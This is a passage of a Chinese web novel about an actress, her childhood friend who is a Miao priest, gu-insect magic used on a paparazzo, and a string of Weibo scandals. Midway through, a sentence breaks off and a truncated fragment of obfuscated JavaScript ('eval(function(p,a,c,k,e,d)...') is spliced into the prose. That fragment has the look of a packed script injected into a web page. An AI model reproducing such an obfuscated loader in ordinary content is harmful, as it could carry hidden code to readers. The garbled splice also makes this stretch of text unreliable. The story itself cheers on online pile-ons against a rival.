陈杬祝的指尖划过照片上沈司南冷硬的小脸，眼底漫上一层温柔的笑意。她点开微博，将这张旧照与不久前沈司南来探班时的照片拼在一起——右边的沈司南抱着熊猫玩偶，长睫低垂，嘴角噙着淡淡的笑意，眉眼间的温柔几乎要溢出来，手腕上的萤石手链泛着暖融融的蓝光。 两张照片，两个沈司南，判若两人。 她没有加太多文字，只在编辑框里敲下一行简单的话，点击发送。 @陈杬祝： 翻到一张压箱底的旧照? 左边是小时候的沈司南，右边是现在的他。 时间是最好的魔术师，把那个冷淡到没有人情味的小少年，变成了如今温柔到骨子里的沈祭祀。 @沈司南你看，我们认识好久好久了。[兔子] 【配图：左图是泛黄的童年合照，沈司南面无表情一脸冷淡，陈杬祝笑靥如花靠在他肩头；右图是沈司南探班时抱着熊猫玩偶的生图，眉眼温柔，气质干净。两张照片的背景，一张是苗寨的老槐树，一张是横店的影棚门口】 微博发出的瞬间，仿佛一颗石子投入沸腾的湖面，瞬间激起千层浪。 #沈司南童年照# #沈司南今昔对比# #沈司南冷淡到温柔# 三个词条以惊人的速度冲上热搜，评论区的刷新速度快得几乎看不清内容。 「我的天！这真的是同一个人吗？！左边的小少年也太冷了吧！脸绷得像块冰，眼神里一点温度都没有！」 「救命！谁能想到，现在这个软糯温柔的沈祭祀，小时候竟然是这样的？！完全没有人情味啊！」 「对比太强烈了！左边：生人勿近，别来沾边。右边：温柔似水，可可爱爱。时间到底对他做了什么？！」 「杬祝姐和沈祭祀认识这么久了？！这是什么神仙缘分啊！从小认识的友情也太好哭了吧！」 「有没有人能科普一下，沈祭祀小时候为什么这么冷淡啊？难道真的像寨子里的人说的，是被山神选中的孩子吗？」 「现在的沈司南真的好温柔啊！抱着熊猫玩偶的样子，我能看一百遍！谁能想到他小时候是个冰山小少年呢！」 陈杬祝刷着评论，忍不住笑出了声。她想起那个夏天，沈司南总是一个人坐在老槐树下，看着远方的群山，不说话，也不笑。她追着他问：“沈司南，你为什么不笑啊？”他只是冷冷地看了她一眼，没有回答。 后来她才从阿婆那里知道，沈司南的父母在他很小的时候就离开了苗寨，他一直跟着阿婆生活。因为天生具有祭祀的天赋，他从小就被寨子里的人敬畏着，也疏远着。他没有朋友，也没有童年，只有无尽的祭祀仪式和冰冷的孤独。 是阿婆的温柔，是岁月的沉淀，也是后来那些无声的陪伴，一点点融化了他心底的冰。 陈杬祝的手机震了震，是许祭发来的消息，附带着一张沈司南的照片。照片里的沈司南正坐在苗寨的老槐树下，手里拿着那张旧照，眼底带着一丝困惑，似乎在努力回忆着什么。 【他刚看到你的微博，正在努力回想当时的场景。阿婆在旁边笑着说，那时候他每天都被你追得躲进山里。】 陈杬祝的嘴角笑得更甜了，她回了条消息：【那时候的沈司南，可是个小冰山呢。】 没过多久，沈司南的微博罕见地更新了一条动态。这是他除了点赞陈杬祝之外，第一次发布原创内容。 @沈司南： 记不清了。只记得那天的太阳很晒，你很吵。[熊猫] 【配图：一张他小时候坐在老槐树下的黑白照片，小脸冷淡，眼神疏离；一张是他现在抱着熊猫玩偶，对着镜头浅浅微笑的照片】 这条微博瞬间引爆了评论区。 「哈哈哈哈！沈祭祀你好诚实！“太阳很晒，你很吵”，这是什么可爱的回忆啊！」 「救命！原来小时候的沈司南觉得杬祝姐很吵！这是什么欢喜冤家的设定啊！」 「现在的沈司南一定不觉得杬祝姐吵了！毕竟他现在这么温柔！」 「沈祭祀终于发微博了！还是原创！我圆满了！」 「从“生人勿近”到“温柔似水”，沈司南的变化真的好大啊！感谢阿婆，感谢杬祝姐，感谢所有温柔的陪伴！」 陈杬祝看着沈司南的微博，忍不住笑出了声。她仿佛能看到，在苗寨的老槐树下，沈司南看着那张旧照，长睫轻轻颤着，努力回忆着那个夏天，那个追着他跑了整整一天的小女孩。 她的手机又震了震，是沈司南发来的语音，软糯的声音里带着一丝不好意思：“杬祝姐，对不起，我那时候对你太冷淡了。” 陈杬祝的心底涌上一股暖流，她立刻回了条语音，声音里带着笑意：“没关系啊。那时候的你，只是还没有学会怎么笑而已。现在的你，笑起来很好看。” 沈司南的回复很快，依旧是软糯的声音，却带着一丝雀跃：“杬祝姐，等你下次来苗寨，我带你去老槐树下拍照。这次我不会再冷淡了。” “好啊。”陈杬祝笑着答应。 挂了语音，陈杬祝抬头看向窗外。夜色渐深，房车已经驶入了市区。她的手腕上，蓝晶石手链泛着淡淡的光，与记忆里沈司南手腕上的萤石手链，交织成一片温柔的蓝。 她想起阿婆曾经说过的话：“司南这孩子，天生带着寒气，却也天生带着温柔。只是那温柔，需要有人去唤醒。” 而她，很庆幸自己是那个唤醒他温柔的人。 微博上的热度还在持续发酵，越来越多的人被沈司南的今昔对比打动，被他和陈杬祝的长久友情打动。有人说，这是现实版的“冰山融化记”；有人说，这是最美好的友情，从童年到成年，从未改变。 陈杬祝没有再去关注那些评论，她将手机放在一旁，靠在沙发上，闭上了眼睛。 脑海里闪过的，是老槐树下那个冷淡的小少年，是追着他跑的自己；是影棚门口那个抱着熊猫玩偶的温柔少年，是为他感到骄傲的自己。 时间是最好的魔术师，它不仅改变了沈司南，也沉淀了他们之间的故事。 从苗寨的老槐树，到横店的影棚；从童年的合照，到成年的陪伴。 陈杬祝结束《曼陀沙华》的补拍戏份时，天刚擦黑。横店的深秋带着刺骨的凉意，她裹紧身上的驼色大衣，刚走出影棚侧门，就被助理拉了一把，指尖指向不远处的一辆黑色轿车。 “杬祝姐，那车跟了我们三天了，看牌照不是本地的，应该是狗仔。” 陈杬祝的眉峰微不可察地蹙了一下。这段时间她因司梦秋一角口碑逆转，热度正盛，狗仔围追堵截本是常事，可对方的耐心未免太过持久。她压了压帽檐，刚想让司机把车开过来，口袋里的手机突然震了震，是许祭发来的定位，附带着一行简短的文字：【已到，在你常去的那家糖水铺后门。】 她心头一暖，暂时将狗仔的事抛在脑后，绕开正门的人流，往糖水铺的方向快步走去。 糖水铺的后门隐在一条窄巷里，昏黄的路灯在地面投下斑驳的光影。沈司南正蹲在巷口的石阶上，怀里抱着那只熊猫玩偶，指尖正轻轻逗弄着脚边一只缩成一团的橘猫。许祭站在他身侧，手里提着一个保温箱，目光警惕地扫过巷口的动静。 “司南！许祭！”陈杬祝的声音里带着一丝雀跃，快步走上前，“你们怎么来得这么快？” 沈司南闻声抬头，长睫轻轻颤了颤，软糯的声音里带着笑意：“阿婆说你最近拍戏辛苦，让我们给你带了些暖身子的姜糖。” 许祭将保温箱递过来，补充道：“刚熬好的，还热着。” 陈杬祝刚接过保温箱，就听到巷口传来一阵极轻的脚步声。她下意识地回头，只见一道黑影迅速缩了回去，正是那辆黑色轿车里的狗仔。对方显然是跟了过来，想拍她和神秘男子的亲密同框。 许祭的眼神瞬间冷了下来，刚想上前，却被沈司南轻轻拉住了手腕。 沈司南的目光落在那道黑影消失的方向，眼底的温柔瞬间褪去，取而代之的是一种与年龄不符的肃穆。他缓缓站起身，将熊猫玩偶递给陈杬祝，又从口袋里掏出一个小小的布袋。布袋是用苗寨特有的蓝锦缎缝制的，上面绣着繁复的图腾，隐约能听到里面传来细碎的沙沙声。 “杬祝姐，你先带着熊猫进去。”他的声音依旧软糯，却带着一丝不容置疑的笃定，“这里交给我。” 陈杬祝还没反应过来，就被许祭轻轻推了一把：“进去吧，司南有分寸。” 她抱着熊猫玩偶，站在糖水铺的后门，透过门缝紧张地往外看。 只见沈司南站在巷口的路灯下，缓缓打开了那个蓝锦缎布袋。他的指尖纤细白皙，捏起一只通体莹白的小虫，那虫子只有米粒大小，翅膀上带着淡淡的荧光，在夜色里格外显眼。 他没有念咒，也没有做任何复杂的动作，只是将那只小虫轻轻放在掌心，对着狗仔藏身的方向，轻轻吹了一口气。 那只莹白的小虫仿佛接收到了某种指令，瞬间振翅飞起，像一道微弱的流光，悄无声息地钻进了狗仔藏身的草丛。 几乎是同时，草丛里传来一声压抑的惊呼，紧接着是一阵手忙脚乱的响动。陈杬祝清楚地看到，那个狗仔突然像被什么东西蛰了一样，猛地从草丛里跳出来，手里的相机掉在地上，镜头摔得粉碎。他捂着脸，脸上迅速浮现出一片红肿的疙瘩，疼得他龇牙咧嘴，却发不出任何完整的声音，只能发出嗬嗬的气音。 沈司南站在原地，指尖轻轻一捻，那只莹白的小虫又振翅飞了回来，乖乖地落回他的掌心。他将小虫放回布袋，系紧袋口，眼底的肃穆渐渐褪去，重新染上了温柔的笑意。 许祭走上前，捡起地上的相机，检查了一番后，将内存卡取出来，轻轻掰断，扔进了旁边的垃圾桶。他走到那个狗仔面前，声音冷冽：“带着你的相机滚，再跟着陈杬祝，下次就不是这么简单了。” 那狗仔早已吓得魂飞魄散，哪里还敢多说一个字，连滚带爬地跑回车上，发动引擎，狼狈地消失在夜色里。 巷口重新恢复了宁静，只有那只橘猫还在石阶上，发出轻柔的呼噜声。 陈杬祝这才推开门，快步走了出来，看着沈司南，眼底满是震惊：“司南，你刚才……” 沈司南知道她想问什么，轻轻摇了摇头，软糯的声音里带着一丝解释：“那是清风蛊，不会伤人，只会让他身上起些疙瘩，痒上三天，顺便让他的相机失灵。” 他顿了顿，补充道：“苗寨的蛊，从来都不是用来害人的，只是用来保护自己和想保护的人。” 陈杬祝的心底瞬间涌上一股暖流，她走上前，轻轻抱住了沈司南：“谢谢你，司南。” 沈司南的身体微微僵了一下，随即也轻轻回抱住她，熊猫玩偶被夹在两人中间，软乎乎的。 许祭站在一旁，看着相拥的两人，嘴角勾起一抹淡淡的笑意。 巷口的路灯将三人的影子拉得很长，保温箱里的姜糖还在散发着温热的甜香。 陈杬祝拉着两人走进糖水铺，老板早已熟络地端上了她最爱的红豆沙。沈司南舀了一勺放进嘴里，眼底瞬间漫上满足的笑意。许祭则坐在一旁，安静地看着他们，偶尔帮陈杬祝拂去落在肩上的碎发。 “对了，”陈杬祝突然想起什么，从包里拿出手机，“刚才那个狗仔，不会把拍到的东西发出去吧？” “放心。”许祭淡淡道，“他的相机内存卡已经被我掰断了，而且清风蛊会让他短时间内精神恍惚，根本记不清刚才发生了什么。” 沈司南也点了点头，软糯的声音里带着一丝笃定：“他只会记得，自己跟拍的时候不小心摔了一跤，相机坏了，身上还起了一身疙瘩。” 陈杬祝这才放下心来，笑着舀了一勺红豆沙喂到沈司南嘴边：“那我就放心了。” 沈司南乖乖地张开嘴，嘴角沾了一点红豆沙，看起来可爱极了。 离开糖水铺的时候，夜色已经很深了。陈杬祝送两人到路口，看着许祭开车载着沈司南渐渐远去，眼底满是不舍。 她低头看了看手腕上的蓝晶石手链，又想起刚才沈司南用清风蛊保护她的样子，嘴角勾起一抹温柔的笑意。 她不知道的是，那个狗仔虽然相机损坏，内存卡被掰断，却在慌乱之中，按下了手机的录像键。那段模糊的视频里，只拍到了沈司南站在路灯下的背影，以及他掌心那只莹白小虫的微弱荧光，还有狗仔自己压抑的惊呼。 狗仔回到家后，身上的疙瘩奇痒无比，他翻出那段视频，本想发出去博眼球，却发现视频里的画面模糊不清，只有那一点莹白的荧光格外显眼。他犹豫了很久，最终还是因为害怕再次遭遇“怪事”，将视频删除了。 只是他不知道，这段视频的碎片，已经被他不小心传到了某个不知名的论坛上。 论坛里，一个标题为《某顶流女星密会神秘男子，男子疑似会“邪术”》的帖子，正以极慢的速度被浏览着。帖子里的视频模糊不清，只有一点莹白的荧光，和一段压抑的惊呼。 有人评论：【什么啊？画质这么差，怕不是营销号搞出来的噱头吧？】 有人评论：【这荧光看起来像萤火虫啊，大惊小怪。】 也有人评论：【那个背影，怎么有点像沈祭祀？】 帖子很快就沉了下去，没有引起任何波澜。 陈杬祝回到酒店后，打开保温箱，里面的姜糖还带着温热。她舀了一勺放进嘴里，甜丝丝的味道瞬间在口腔里弥漫开来，暖到了心底。 她拿出手机，给沈司南发了一条语音，声音里带着笑意：“司南，今天的姜糖很好吃，谢谢你和阿婆。” 沈司南的回复很快，依旧是软糯的声音：“杬祝姐喜欢就好。下次我们再给你带。” 陈杬祝笑着回复了一个“好”字，便将手机放在一旁，靠在沙发上，闭上了眼睛。 脑海里闪过的，是沈司南站在路灯下的样子，是他掌心那只莹白的小虫，是他眼底的肃穆与温柔。 她知道，沈司南的蛊，是苗寨的传承，是保护自己和想保护的人的武器。而她，很庆幸自己是他想保护的人之一。 窗外的夜色渐深，横店的灯火依旧璀璨。 微博上，#陈杬祝 司梦秋 名场面#的词条还在热搜上挂着，粉丝们还在为她的演技欢呼。 没有人知道，在那个深秋的夜晚，在一条窄巷里，发生过怎样惊心动魄的一幕。 也没有人知道，那个温柔软糯的沈祭祀，会用苗寨最古老的方式，默默守护着他想守护的人。 陈杬祝的手机震了震，是许祭发来的消息：【已安全到家，司南已经睡了。明天他要跟着阿婆去山里采草药，就不跟你道早安了。】 陈杬祝回了一个“晚安”的表情，便将手机调成了静音。 她抬头看向窗外的星空，眼底满是温柔。 陈杬祝刚结束一场深夜戏，正坐在化妆镜前卸着脸上的浓妆，助理突然跌跌撞撞地冲进来，手机屏幕亮得刺眼，声音里带着哭腔：“杬祝姐！不好了！出事了！” 她抬眸，从镜子里看到助理惨白的脸色，心头瞬间一沉。还没等她开口询问，化妆间的门被猛地推开，经纪人林姐快步走进来，手里的平板屏幕上，正循环播放着一段视频。 视频的拍摄角度刁钻，正是那晚糖水铺后巷的监控盲区，却不知为何被拍得异常清晰。画面里，昏黄的路灯将沈司南的身影拉得颀长，他站在巷口，蓝锦缎布袋被缓缓打开，纤细的指尖捏起那只通体莹白的小虫，翅膀上的荧光在夜色里格外醒目。他对着狗仔藏身的方向轻轻吹气，小虫振翅飞去的瞬间，镜头剧烈晃动，紧接着是狗仔压抑的惊呼与相机摔落在地的脆响。 视频的最后，是沈司南将小虫收回掌心，眼底那抹褪去的肃穆，被路灯映得一清二楚。 配文更是耸人听闻：【顶流陈杬祝密会神秘男子，对方疑似使用“邪术”，蛊虫现身吓坏狗仔！】 这条视频如同一颗炸雷，在全网炸开了锅。发布不过十分钟，#沈司南蛊虫# #陈杬祝 密会神秘男子# #苗寨蛊术真实存在# 三个词条以火箭般的速度冲上热搜榜首，后面齐刷刷跟着“爆”字。 陈杬祝的微博评论区瞬间沦陷，原本的粉丝控评被汹涌的质疑和恐惧淹没。 「天呐！这是真的吗？！沈司南竟然会用蛊虫？！」 「太可怕了！原来苗寨的蛊术是真的！他会不会用蛊害人啊？」 「陈杬祝怎么会认识这样的人？！求锤！求陈杬祝出来解释！」 「这已经不是简单的探班了吧？！蛊虫啊！想想都毛骨悚然！」 「沈司南之前在《九色鹿》里的温柔都是装的吧？！骨子里就是个会用邪术的人！」 更有甚者，扒出沈司南苗寨祭祀的身份，将苗寨的古老传承与“封建迷信”“邪术害人”绑定，一时间，关于苗寨的恶意揣测铺天盖地。 林姐的声音里带着前所未有的焦虑：“杬祝，现在全网都在疯传这段视频，剧方那边已经紧急联系我们，问要不要暂停《曼陀沙华》的宣发。还有很多品牌方，都在发消息询问情况，甚至有人提出要解约！” 陈杬祝的指尖紧紧攥着化妆棉，指节泛白，却没有半分慌乱。她猛地站起身，拿起自己的手机，屏幕上全是未读消息，许祭的消息赫然在列：【视频是那个狗仔发的，他身上的清风蛊刚解，就把存到云端的视频传了出去。司南已经知道了，他很自责。】 后面跟着沈司南的一条语音，软糯的声音里带着浓浓的鼻音，满是愧疚：“杬祝姐，对不起……是我不好，给你惹麻烦了。” 陈杬祝的心瞬间揪紧，她立刻回了条语音，声音温柔却坚定：“司南，这不是你的错，是那个狗仔的问题。你别自责，一切有我。” 挂了语音，她转头看向林姐，眼神里带着不容置疑的坚定：“剧方的宣发不用停，品牌方那边，我去沟通。现在，我要发一条微博。” 林姐还想劝阻：“杬祝，现在发微博太冒险了！万一……” “没有万一。”陈杬祝打断她的话，“司南不是他们口中的‘邪术师’，苗寨的蛊术也不是什么害人的东西。我必须站出来，为他正名。” 她点开微博，没有发长篇大论的解释，而是直接上传了一张照片。照片里，是沈司南小时候在苗寨的样子，他蹲在田埂上，手里捧着一只受伤的小鸟，眼底满是温柔。旁边是一张现在的照片，他抱着熊猫玩偶，正在给糖水铺门口的橘猫喂食。 编辑框里的文字，她只敲了三行。 @陈杬祝： 视频里的人是沈司南，他是苗寨的祭祀，也是我从小认识的朋友。 他手中的不是“邪术”，是苗寨传承千年的清风蛊，只会惩戒恶人，不会伤害无辜。 他的温柔是真的，善良是真的，守护也是真的。 @沈司南别怕，我在。[心] 微博发出的瞬间，全网的讨论达到了顶峰。 一开始，依旧是质疑和谩骂占据主流，但很快，事情出现了转机。 苗寨文化保护协会的官方账号率先转发了陈杬祝的微博，配文：【清风蛊，苗寨传统蛊术之一，属“守护蛊”，仅对心怀不轨者产生轻微惩戒，如皮肤瘙痒、短暂失神等，无任何伤害性。沈司南作为苗寨最年轻的祭祀，一直致力于苗寨文化的传承与保护，从未滥用蛊术。】 紧接着，《九色鹿》的张导也转发了微博：【我亲眼见过沈司南先生的温柔，他在片场对每一个工作人员都彬彬有礼，对小动物更是呵护备至。他用清风蛊惩戒狗仔，不过是为了保护自己和朋友，何错之有？】 越来越多的人站出来为沈司南发声。有去过苗寨的游客，分享了沈司南帮助他们的经历；有了解苗寨文化的学者，科普了蛊术的真正含义；甚至有陈杬祝的粉丝，翻出了之前沈司南探班的照片，证明他的温柔与善 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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沈司南怀里抱着熊猫玩偶，手里还提着一个保温箱，脸上的委屈已经散去，取而代之的是温柔的笑意。许祭站在他身侧，手里拿着一个蓝锦缎布袋，正是那晚装清风蛊的那个。 “司南！许祭！”陈杬祝的声音里带着雀跃，快步走到两人面前。 沈司南将保温箱递过来，软糯的声音里带着笑意：“阿婆说，让我们给你带了些她亲手做的绿豆糕，清热降火。” 许祭则将蓝锦缎布袋递给她，解释道：“这是阿婆让我们带来的，里面是平安蛊，戴在身上，可以保你平安。” 陈杬祝接过布袋，触手温润，里面传来细碎的沙沙声。她小心翼翼地打开，里面是一只小小的玉蛊，上面刻着繁复的图腾，看起来精致极了。 “谢谢你，阿婆。”陈杬祝的眼底满是感动。 沈司南轻轻点了点头，长睫轻轻颤了颤，看起来可爱极了。 影棚里的工作人员看到沈司南，都纷纷围了过来，脸上没有半分恐惧，只有好奇和友善。 “沈先生，听说清风蛊只会惩戒恶人，是真的吗？” “沈先生，你能给我们讲讲苗寨的蛊术吗？” “沈先生，你真的好温柔啊！我们都很喜欢你！” 沈司南没有丝毫的不耐烦，耐心地回答着每一个人的问题，软糯的声音里带着笑意。 陈杬祝站在一旁，看着被众人围着的沈司南，眼底满是骄傲。 她知道，经过这件事，沈司南不会再被人误解，苗寨的蛊术也不会再被人抹黑。 而她和沈司南、许祭之间的故事，也会因此变得更加牢固。 拍摄间隙，陈杬祝拿出手机，对着沈司南拍了一张照片。照片里，沈司南正低头给橘猫喂食，阳光落在他的发顶，温柔得像一幅画。 她将这张照片发到了微博上，配文：阳光正好，温柔依旧? @沈司南 评论区瞬间炸开了锅，粉丝们纷纷留言： 「沈祭祀好温柔啊！喂猫的样子太治愈了！」 「姐姐和沈祭祀的友情太好哭了！互相守护，双向奔赴！」 「苗寨的蛊术好神奇！平安蛊看起来好精致啊！」 「《曼陀沙华》什么时候播？已经等不及了！」 陈杬祝看着评论区里的留言，嘴角的笑意越来越浓。 沈司南和许祭离开的时候，天色已经擦黑。陈杬祝送他们到影棚门口，看着许祭开车载着沈司南渐渐远去，眼底满是不舍。 她低头看了看手腕上的蓝晶石手链，又摸了摸怀里的平安蛊，嘴角勾起一抹温柔的笑意。 窗外的夜色渐深，横店的灯火依旧璀璨。 微博上，#沈司南温柔# #陈杬祝 双向守护# #苗寨蛊术守护蛊# 的词条还在热搜上挂着，粉丝们还在为他们的友情欢呼。 没有人知道，在那个深秋的夜晚，在一条窄巷里，发生过怎样惊心动魄的一幕。 但所有人都知道，那个温柔软糯的沈祭祀，会用苗寨最古老的方式，默默守护着他想守护的人。 而陈杬祝，也会用自己的方式，守护着这个从小认识的朋友。 风波渐平的第七天，陈杬祝刚结束《曼陀沙华》的路演，正坐在保姆车里卸妆，手机突然弹出一条微博推送，发博人是许金鑫——圈内以爱蹭热度、嘴碎出圈的十八线小艺人，也是许祭远房的、素来不睦的堂弟。 @许金鑫： 世界之大，无奇不有。某些人顶着“温柔”的皮相，背地里却玩些旁门左道的东西，说句妖怪不为过吧？[微笑] 奉劝某些顶流姐姐，交友需谨慎，别最后被“妖怪”连累，晚节不保哦～ 这条微博没有明指，但字里行间的指向性太过明显。发布不过五分钟，#许金鑫内涵沈司南# 的词条就被顶了上来。许金鑫的粉丝本就不多，可架不住他精准踩中了之前“蛊虫视频”的余热，瞬间吸引了大批路人与陈杬祝、沈司南的粉丝涌入评论区。 最先炸开的是沈司南的新粉——经过清风蛊事件的科普，不少人早已对这个温柔的苗寨少年心生好感： 「许金鑫你要不要脸？！沈司南用清风蛊惩戒的是偷拍的狗仔，哪里旁门左道了？！」 「什么妖怪？！你懂不懂苗寨文化？！不懂就闭嘴！别在这里丢人现眼！」 「苗寨蛊术是传承，不是你口中的歪门邪道！建议你先去补补课再来发言！」 陈杬祝的粉丝更是直接火力全开，连带着许金鑫的过往黑料一起扒了出来： 「许金鑫你也配说杬祝姐？！自己十八线糊穿地心，天天靠蹭热度博眼球，要点脸吗？！」 「谁不知道你是许祭先生的远房堂弟？！平日里攀附不上，现在倒好，踩着沈司南和杬祝姐上位？！」 「交友需谨慎？！杬祝姐的朋友温柔善良，你呢？！你这种跳梁小丑才是最该被远离的！」 「之前杬祝姐被黑的时候你怎么不说话？！现在沈司南刚被大家认可，你就跳出来内涵？！心机够深啊！」 更让许金鑫没想到的是，连一些业内人士都看不下去了。《九色鹿》的张导直接转发了陈杬祝之前为沈司南正名的微博，配文：「尊重文化，尊重善良。某些人与其嘴碎，不如好好提升自己的业务能力。」 苗寨文化保护协会更是直接艾特了许金鑫：「蛊术是苗寨非物质文化遗产的重要组成部分，并非‘旁门左道’。你口中的‘妖怪’，是我们苗寨最善良、最负责任的祭祀。请立刻删除微博并道歉，否则我们将追究你的法律责任。」 许金鑫原本还想硬撑，甚至发了一条阴阳怪气的微博回应，可随着舆论的发酵，他的账号很快被骂到沦陷。不仅如此，他所在的经纪公司也迅速收到了大量投诉，合作的几个小品牌更是直接发声明解约，要求他赔偿违约金。 经纪公司的电话很快打到了许金鑫的手机里，语气冰冷得没有一丝温度：「许金鑫，立刻删除所有相关微博，发布道歉声明。另外，公司决定对你进行雪藏处理，后续所有行程全部取消。」 许金鑫彻底慌了。他怎么也没想到，自己不过是想蹭一波热度，却引来了全网的群嘲与公司的雪藏。他手忙脚乱地删除了那条内涵的微博，又匆匆编辑了一条道歉声明，可评论区里早已没有了任何宽容。 「道歉有用的话，要警察干什么？！」 「晚了！你当初内涵沈司南的时候，怎么没想过今天？！」 「雪藏吧！这种艺人根本不配待在娱乐圈！」 「建议永久封杀！别再出来污染眼球了！」 这条道歉声明发布后，不仅没有平息众怒，反而让更多人觉得他是迫于压力的无奈之举，评论区的骂声更甚。 陈杬祝看到许金鑫被网暴、雪藏的消息时，正和许祭通电话。电话那头，许祭的声音没有丝毫波澜，仿佛在说一件与自己无关的小事：「他自找的。我早就和他说过，不要去招惹司南和你，可他偏偏不听。」 「许家那边……」陈杬祝犹豫了一下，还是问了出来。 「许家早就和他断了往来。」许祭淡淡道，「他的事，与许家无关，更与我无关。」 陈杬祝点了点头，心里没有半分同情。许金鑫的下场，不过是他自己作茧自缚的结果。 她挂了电话，点开微博，看到许金鑫的账号已经被设置成了私密，而#许金鑫被雪藏# 的词条正挂在热搜上。评论区里，所有人都在拍手称快。 这时候，沈司南的微信消息发了过来，是一条语音，软糯的声音里带着一丝困惑：「杬祝姐，许金鑫是谁啊？为什么大家都在骂他？」 陈杬祝忍不住笑了，回了条语音：「他是一个不懂得尊重别人的人，现在得到了应有的惩罚。你不用管他，好好和阿婆待在一起就好。」 沈司南的回复很快：「好。阿婆说，不尊重别人的人，是不会有好下场的。」 「阿婆说得对。」陈杬祝笑着回复。 她放下手机，靠在车窗上，看着窗外渐渐倒退的风景。手腕上的蓝晶石手链泛着淡淡的光，怀里的平安蛊安静地躺着，仿佛能感受到苗寨的温柔。 许金鑫的事，就像一颗投入湖面的小石子，虽然激起了一阵涟漪，但很快就恢复了平静。没有人会记得这个曾经跳出来内涵沈司南的十八线小艺人，所有人的注意力，都重新回到了陈杬祝的新剧和沈司南的温柔上。 几天后，陈杬祝在一次采访中，被记者问到了关于许金鑫的问题。她只是淡淡一笑，回答道：「我只相信我看到的。我的朋友沈司南，是一个温柔、善良、值得被所有人尊重的人。至于其他人，我不关心，也不想了解。」 这段采访被剪了出来，在网上广为流传。网友们纷纷表示：「杬祝姐太飒了！」「专注自己，不理睬跳梁小丑！这才是顶流该有的样子！」 而被雪藏的许金鑫，彻底消失在了公众的视野里。他不仅失去了工作，还背上了巨额的违约金，生活过得一地鸡毛。曾经那些围着他转的人，也都纷纷远离，只留下他自己，为自己的嘴碎和贪婪付出了惨痛的代价。 陈杬祝再一次收到沈司南和许祭的探班，是在《曼陀沙华》杀青的那天。 沈司南怀里抱着熊猫玩偶，手里提着阿婆做的糯米饭，许祭则站在他身侧，手里拿着一个新的保温箱。两人站在影棚门口，在阳光的照耀下，身影温柔而挺拔。 「司南！许祭！」陈杬祝快步走过去，脸上带着杀青的喜悦。 「杬祝姐，杀青快乐！」沈司南的声音里带着雀跃，将糯米饭递了过来，「阿婆说，杀青是大喜事，一定要给你做最好吃的糯米饭。」 许祭也将保温箱递过来，补充道：「里面是阿婆熬的鸡汤，补身子的。」 陈杬祝接过东西，心里暖暖的。她抬头看向沈司南，发现他的眼底比以前更加明亮，更加温柔。经过这两次的风波，他不仅没有被打倒，反而被更多的人认可和喜欢。 她拿出手机，对着沈司南和许祭拍了一张合照。照片里，沈司南抱着熊猫玩偶，笑得眉眼弯弯，许祭站在他身边，嘴角带着淡淡的笑意，而她则站在两人中间，脸上洋溢着幸福的笑容。 她将这张照片发到了微博上，配文：杀青快乐！感谢最好的你们? @沈司南 评论区瞬间被喜悦的氛围淹没： 「杀青快乐！杬祝姐辛苦了！」 「沈祭祀和许先生又来了！这是什么神仙友情啊！」 「糯米饭和鸡汤！阿婆也太贴心了吧！」 「《曼陀沙华》什么时候播？已经等不及了！」 陈杬祝看着评论区里的留言，嘴角的笑意越来越浓。 她知道，许金鑫的出现，不过是他们故事里的一个小插曲。未来的日子里，还会有各种各样的挑战，但她相信，只要她和沈司南、许祭在一起，就没有什么困难是克服不了的。 夕阳西下，将三人的影子拉得很长。影棚里的工作人员已经开始收拾东西，准备离开。陈杬祝拉着沈司南和许祭的手，往糖水铺的方向走去。 巷口的橘猫依旧在那里，看到沈司南，立刻欢快地跑了过来，蹭着他的裤腿。沈司南蹲下身，温柔地抚摸着橘猫的脑袋，眼底满是笑意。 陈杬祝站在一旁，看着这温馨的一幕，嘴角勾起一抹温柔的笑意。 窗外的夜色渐深，横店的灯火依旧璀璨。 微博上，#陈杬祝 曼陀沙华杀青# 的词条还在热搜上挂着，粉丝们还在为她的杀青欢呼。 没有人会记得许金鑫这个跳梁小丑，所有人都只会记得，那个温柔的苗寨少年沈司南，那个默默守护的许祭，还有那个始终站在他们身边的陈杬祝。 《曼陀沙华》定档播出的消息刚放出时，陈杬祝正在横店的影棚里拍摄新戏，手机屏幕上满是粉丝的期待与剧方的宣传通稿。她饰演的司梦秋，本是全剧最受瞩目的白月光角色，却没料到，剧集刚开播两集，一场突如其来的舆论风暴，便将她推向了悬崖边缘。 导火索是一段被恶意剪辑的片段。视频里，司梦秋与男主在校园的初遇戏被剪得支离破碎，她原本清冷破碎的眼神，被截成了“面无表情”“眼神空洞”，配上营销号耸人听闻的标题——【陈杬祝资源咖实锤！演技拉胯毁了白月光司梦秋！】，瞬间在全网发酵。 更糟糕的是，许金鑫被雪藏前的最后一条私信，被某个营销号扒了出来。内容里，他无中生有地造谣，称陈杬祝是靠“特殊关系”拿到司梦秋这个角色，甚至暗指她与沈司南的“蛊虫事件”影响了剧集的风评。 一时间，#陈杬祝 演技差# #陈杬祝 资源咖# #曼陀沙华毁剧# 三个词条以惊人的速度冲上热搜，后面跟着的“爆”字，刺得人眼睛生疼。 剧集的弹幕里，满是不堪入目的谩骂。 「陈杬祝滚出娱乐圈！这么烂的演技也配演白月光？」 「资源咖就是不一样，毁了我们期待已久的司梦秋！」 「要不是她，《曼陀沙华》能这么糊吗？赶紧雪藏吧！」 「连带着沈司南的蛊虫事件，她就是个灾星！」 豆瓣评分一路暴跌，从开播前的8.5分，跌到了4.2分。剧方的官微评论区被愤怒的剧粉攻陷，要求换角、要求下架剧集的声音此起彼伏。 陈杬祝的经纪公司办公室里，气氛压抑得让人喘不过气。林姐将一份份解约函拍在桌上，声音里带着绝望：「杬祝，完了。三家顶级品牌方已经发来了解约通知，要求我们赔偿巨额违约金。还有几个待拍的剧本，也都纷纷表示要换人。」 「更要命的是，」林姐的声音顿了顿，眼底满是疲惫，「公司高层已经开会讨论过了。他们说，你现在的舆论风评太差，继续让你拍戏，只会拖累公司。所以……他们决定，对你进行雪藏。」 雪藏。 这两个字，像一把冰冷的匕首，狠狠刺进了陈杬祝的心脏。她坐在沙发上，指尖紧紧攥着衣角，指节泛白，却一句话也说不出来。 她想起自己为了司梦秋这个角色，减了十斤体重，每天只吃清水煮菜；想起自己为了找清冷破碎的感觉，对着镜子练习眼神到深夜；想起自己为了演好诀别戏，在炮火连天的布景里，冻得瑟瑟发抖却依旧坚持。 可这一切的努力，在恶意剪辑和无中生有的造谣面前，都变得一文不值。 